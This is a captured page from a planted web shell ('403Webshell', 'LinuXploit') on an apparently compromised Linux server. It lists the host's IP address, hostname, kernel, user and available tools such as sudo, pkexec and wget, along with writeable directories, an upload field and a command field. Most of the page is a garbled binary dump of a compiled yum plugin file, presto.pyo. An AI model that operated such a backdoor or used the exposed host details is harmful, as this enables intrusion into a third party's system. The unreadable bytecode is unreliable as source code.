403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/yum-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/yum-plugins/presto.pyo
,Jc@sddkZddkZddkZddkZddkZddkZddkZyddklZWnddk	lZnXddk
lZlZddk
ZddkZddkZddklZddklZddkZdadadadadagZdZefZhZdZ d	Z!d
Z"dei#fdYZ$d
dZ%dZ&dZ'dZ(ddZ)de*fdYZ+de*fdYZ,de*fdYZ-dZ.ddZ/dZ0dZ1dZ2dS(iN(t	iterparse(t	TYPE_COREt
PluginYumExit(tURLGrabError(t
format_numberis2.1cCs1tidd|dd|gdtotStS(s'checks that the deltarpm can be applieds/usr/bin/applydeltarpms-as-Cs-st	close_fds(t
subprocesstcalltTruetFalse(tsequencetarch((s/usr/lib/yum-plugins/presto.pytverifyDelta9scCs.tidd|||gdtotStS(s*applies the deltarpm to create the new rpms/usr/bin/applydeltarpms-aR(RRRR	(tdeltarpmfilet
newrpmfileR((s/usr/lib/yum-plugins/presto.pyt
applyDelta@sc	Cszd}|i}|i}titi|tit|||p|ioxtiti	t
|i7a
ti|dti
i|7}yti|Wqvttfj
o	}qvXntiti	t|i7atit|i|8a|ii}|iddo
t}n|o3yti|Wqvttfj
o	}qvXn|S(slogic around applyDeltats:Error rebuilding rpm from %s! Will download full package.
tmaint
keepdeltas(t	localpathRtprocess_locktacquiretprocessing_fnlsttappendtreleaseRtverifyLocalPkgtpoptprocessed_f_sizetsizetostpathtbasenametunlinktOSErrortIOErrortprocessed_t_sizetactual_download_sizetgetConft	keepcachetconfBoolR	(	tconduittpot
deltalocalt	deltasizetretlisttrpmlocaltrpmarchtetdelete((s/usr/lib/yum-plugins/presto.pytreconstructGs>		


"



	




	tReconstructionThreadcBs eZdZdZdZRS(s.Threaded process to create rpms from deltarpmscCsAtii|||_||_||_t|_d|_dS(NR(	t	threadingtThreadt__init__trun_functiontqueuetlockR	tcan_exittmessages(tselfR7R8R6((s/usr/lib/yum-plugins/presto.pyR5xs				cCsxtoy|ii|i}Wntij
oPnX|djot|i|}|iog|d}|i	djo$|i
d|i	d d|_	n|djo|i
d|d qq|ii|i	|7_	|ii
qqWdS(NiRii(RR7tgetR9tQueuetEmptytNonetapplyR6R:tinfoR8RR(R;tretvalR:R(((s/usr/lib/yum-plugins/presto.pytruns$





(t__name__t
__module__t__doc__R5RC(((s/usr/lib/yum-plugins/presto.pyR2vs	idcCs1|i}t|do5|idjo%|idd|i|ifdS|iido%|idd|i|ifdS|i	|i
ip|idd|i
idS||i
i}d|i|i|i
|i|if}|i	|p%|idd	|i|ifdS||}|i}tii|oti|d
}	|i}
|io%|idd|i|ifdS|	|
jo%|idd|i|ifdSti|n|i|iddd|i}t|d
jo%|idd|i|ifdSd}x|D]}
d|
i|
i
|
if}|i	|pqKn||}|i|d}||djoqKn|o|d|djoqKnt|d|ipqKn|}qKW|p$|idd|i|ifn|S(s7Does the package have a reasonable delta for us to use?tpkgtypetlocalis)Package %s.%s is local, not using a deltasfile:/s5Package %s.%s is in a file:// repo, not using a deltas'No delta information for repository %s.s%s-%s:%s-%s.%ss+Could not find delta rpm for package %s.%s.isAlready have package for %s.%s.s'Already have part of package for %s.%s.is1Package for %s.%s of the same arch not installed.s%s:%s-%sidRR
sNo delta rpm for %s.%s.N(tgetRpmDBthasattrRGRAtnameRR?t
remote_urlt
startswiththas_keytrepotidtepochtversionRtlocalPkgRRtexistststatRRR tsearchNevratlenR(R)tprestoR(tconf_minimum_percentagetrpmdbt	deltainfotnevratdeltasRHtcursizettotsizet	installedt	bestdeltatoldpotevrtdeltatpovsize((s/usr/lib/yum-plugins/presto.pytgetDeltasp 
	

!

$cCsHd}tit}t}totd}nti|||fS(Ni(R?RRR#RRR(tpfnmtptsztpfsz((s/usr/lib/yum-plugins/presto.pyt_processing_datas

cCs6|djodSyti|dSWndSXdS(Nii(R?RRU(tfname((s/usr/lib/yum-plugins/presto.pyt_safe_stat_sizes
cCstii|iid}||jo@tii|o,yti|Wqhtj
odSXn|i	|tii|tii
|dS(NR]tfilename(RRtjoinROtcachedirtisdirtmkdirR!R?taddR(tcacheR)Rdtdeltadir((s/usr/lib/yum-plugins/presto.pyt_get_delta_paths!

c"shhfd}d}d#}idddd}|djo
d}n|djo
d}ntid}tiati}t||t}	|	ig}
d}d}|d#joi	}nt
}
x|D]}t|||}|d#jo||i7}qnt
|
||}|p||i7}qntii|oy"ii||d|d	Wntj
o}|iiod
|}tii|qxti|d}|d}||joti|n||7}|
i||fqXid
d||ii}|i|i|||df||i7}qq||d7}|
i||fqWt t!i"do't#|
djot!i"i$|n|oiddt%|nd}d}x|
D]\}}|d7}fd|d|d	fhf}tii&|ii'd}tii&|tii(|d}ti)|}|d}|i*|i+t,|i|jo||d|fqnt t!i"dot!i"i$||ny|djo/|o'||jotii(|d}n*d|t#|
tii(|df}|ii-d|i.d|dd|d|d|d|ii}||7}t t!i"dot!i"i$||nWn.tiij
o}||t/|n]X|ii}|i|i|||df||i7}i0|o|=n|i1|	i2djo$id|	i2d d|	_2n|i3qWt t!i"dot!i"i$dnt4\}}}|o|||joidd d!}|id|d|||} |i5| xv| |joh|	i6o[t4\}}}||t7|}!|!| jo|i5|!|!} nt8i9d"q]Wt4\}}}|i:||t7|nt;|	_<|id#|	i&d#a|	i2djo$id|	i2d d|	_2n|fS($s=download list of package objects handed to you, return errorscsi|gi|dS(N(t
setdefaultR(R)tmsg(terrors(s/usr/lib/yum-plugins/presto.pytadderrorsiRtminimum_percentagetdefaulti_idt
checksum_typetchecksums<Caching enabled and local cache for %sdoesn't match checksumiRis#using local copy of deltarpm for %sttext_meter_total_sizeiisDownload delta size: %scsii|i||S((t_basetverifyChecksumRm(tfotcsumtypetcsum(R((s/usr/lib/yum-plugins/presto.pyt<lambda>fsR]Rms7Insufficient space in download directory %s to downloads(%s/%s): %sturltrelativeRHt	checkfuncttextRsRis)Finishing rebuild of rpms, from deltarpmss<delta rebuild>g?N(=R?tconfIntR=tthreadt
allocate_lockRR2R1tstarttgetDownloadPackagestsetRfRRuRRRTRRRRORstyumtErrorst	RepoErrorRUR RRAtcallbacktreturnChecksumstputRJt
urlgrabbertprogressRWR~RRnRoRtstatvfstf_bavailtf_bsizetlongt_getFiletbasepathtstrRNRR:RRjtupdatetisAliveRlttimetsleeptendRR9("R(RXt
download_pkgsRytrebuild_sizetcbtconf_mpR7R8t	curthreadtremote_pkgstremote_sizetmust_still_download_pkgstdeltapath_cacheR)Rdt	deltapathR/RwR^R_tit
local_sizeRRttdirstatt
delta_sizeRt	deltafileRhRiRgtsofar_sztsz((R(Rxs/usr/lib/yum-plugins/presto.pytdownloadPkgs
s
	





	










$	"










	


t	DeltaInfocBs2eZdZdZdZdZdZRS(sBase Delta rpm info objectcCs|id|_|id|_|id|_d|_d|_d|_d|_d|_	xP|i
D]B}|idjo|id|_	nt||i|i
qpWt|i|_dS(Ntoldepocht
oldversiont
oldreleaseR}ttype(R<RQRRRR?RmR
RR}R|tgetchildrenttagtsetattrRR(R;telemtx((s/usr/lib/yum-plugins/presto.pyR5s					
cCsd|i|i|ifS(Ns%s:%s-%s(RQRRR(R;((s/usr/lib/yum-plugins/presto.pyRcscCs&d|i|i|i|i|ifS(Ns8filename: %s, sequence: %s, size: %d, checksum (%s) = %s(RmR
RR|R}(R;((s/usr/lib/yum-plugins/presto.pyt__str__scCs
t||S(N(tgetattr(R;tkey((s/usr/lib/yum-plugins/presto.pyt__getitem__s(RDRERFR5RcRR(((s/usr/lib/yum-plugins/presto.pyRs
			t
NewPackagecBs5eZdZdZdZdZdZRS(cCsx'dD]}t|||i|qWh|_xJ|iD]<}|idjoq@nt|}||i|i<q@WdS(NRKRRRRQRRd(snamesversionsreleasesepochsarch(RR<R]RRRRc(R;Rtproptchildtd((s/usr/lib/yum-plugins/presto.pyR5s	
cCs&d|i|i|i|i|ifS(Ns%s-%s:%s-%s.%s(RKRQRRRR(R;((s/usr/lib/yum-plugins/presto.pyR\scCsd|i|ifS(Ns	%s <== %s(R\R](R;((s/usr/lib/yum-plugins/presto.pyRscCs|ii|S(N(R]RN(R;R((s/usr/lib/yum-plugins/presto.pyRNscCs|i|S(N(R](R;R((s/usr/lib/yum-plugins/presto.pyRs(RDRER5R\RRNR(((s/usr/lib/yum-plugins/presto.pyRs
				tPrestoParsercBseZdZdZRS(cCsh|_|idoti|}nt|d}xMt|D]?\}}|idjo#t|}||i|i<qHqHWdS(Ns.gztrtt
newpackage(R[tendswithtgziptopenRRRR\(R;RmRteventRtp((s/usr/lib/yum-plugins/presto.pyR5s	
cCs|iS(N(R[(R;((s/usr/lib/yum-plugins/presto.pyt	getDeltass(RDRER5R(((s/usr/lib/yum-plugins/presto.pyRs	cCsC|i}|o,|idddddddtdd	ndS(
NRs--disableprestotdestt
disableprestotactiont
store_trueR{thelps6disable Presto plugin and don't download any deltarpms(tgetOptParsert
add_optionR	(R(tparser((s/usr/lib/yum-plugins/presto.pytconfig_hooks
cCs*|i\}}|o|io|idddS|idd|djo|ii}nx|D]}y|id}Wn{tii	tii
fj
o]}y|id}Wq	tii	tii
fj
o }|idd|qrq	XnXt|it
|i<qrWdS(	Nis+--disablepresto specified - Presto disabledis,Setting up and reading Presto delta metadatatprestodeltaR[is#No Presto metadata available for %s(t
getCmdLineRRAR?tgetRepostlistEnabledt
retrieveMDRRtRepoMDErrorRRRtpinfoRP(R(trepostoptstcommandstactive_repotdeltamdR/((s/usr/lib/yum-plugins/presto.pytxpostreposetup_hooks$
""
c	Cs|i\}}|o
|ipt|idjodS|i}t}g}x{|D]s}|i}tii|o$|i	i
||toqcqn|i|i
|i|t|i7aqcWta|pdSt|||idd|it|t|\}}	t|	8at|	8a|iddot|idjohd}
xO|iD]A}tii||}x"|D]}
|
d||
f7}
qWq~Wt|
nt||	o|iddt|	ndS(	NiisProcessing delta metadataRtexitondownloaderrorsError Downloading DeltaRPMs:
s	  %s: %s
s%Package(s) data still to download: %s(RRRWRRRSRRRTRt	verifyPkgR	RrRORtcomplete_download_sizeRR$RRAtsortRRR'tkeysRtmisctuniqueRtxpostdownload_hookR(R(RRtpkglistRRR)RHtproblemstmoret	errstringRRxterror((s/usr/lib/yum-plugins/presto.pytpredownload_hook&sL*	






cCs|i\}}|o
|ip
ttjodStt}tt}ttdt}dt|}|idd|||fdS(Nidis7Presto reduced the update size by %i%% (from %s to %s).(RRRR$RtfloattintRA(R(RRtdrpm_stringt
rpm_stringtsaveper((s/usr/lib/yum-plugins/presto.pyR\s
c	Cs,|i}d}g}d}xq|iiD]`}tii|id}tii|o/tii|ot	i
i|d|}q+q+Wx|D]}yt	i
i|Wn.t
j
o"}|iid||qn+X|iit	iid|||d7}|iid||fqWdS(	Ns
delta-packageiR]tdrpmsCannot remove %s file %ss%s file %s removedis%d %s files removed, by presto(RRRRRRnRoRTRpRRtgetFileListtunlink_fR!tloggertcriticaltverbose_loggertlogt
logginglevelstDEBUG_4RA(	R(R;tfiletypetfilelisttremovedRORtitemR/((s/usr/lib/yum-plugins/presto.pyt
clean_hookms(	& 

(3RRRRRR3R=tcElementTreeRtxml.etree.cElementTreetyum.pluginsRRt
yum.ErrorsRtyum.misctyum.logginglevelsturlgrabber.grabberRturlgrabber.progressRRRR$R?RR#RRtrequires_api_versiontplugin_typeRRRR1R4R2RfRjRlRuRtobjectRRRRRRRR(((s/usr/lib/yum-plugins/presto.pyt<module>sV				/$P	
			
		6	

Youez - 2016 - github.com/yon3zu
LinuXploit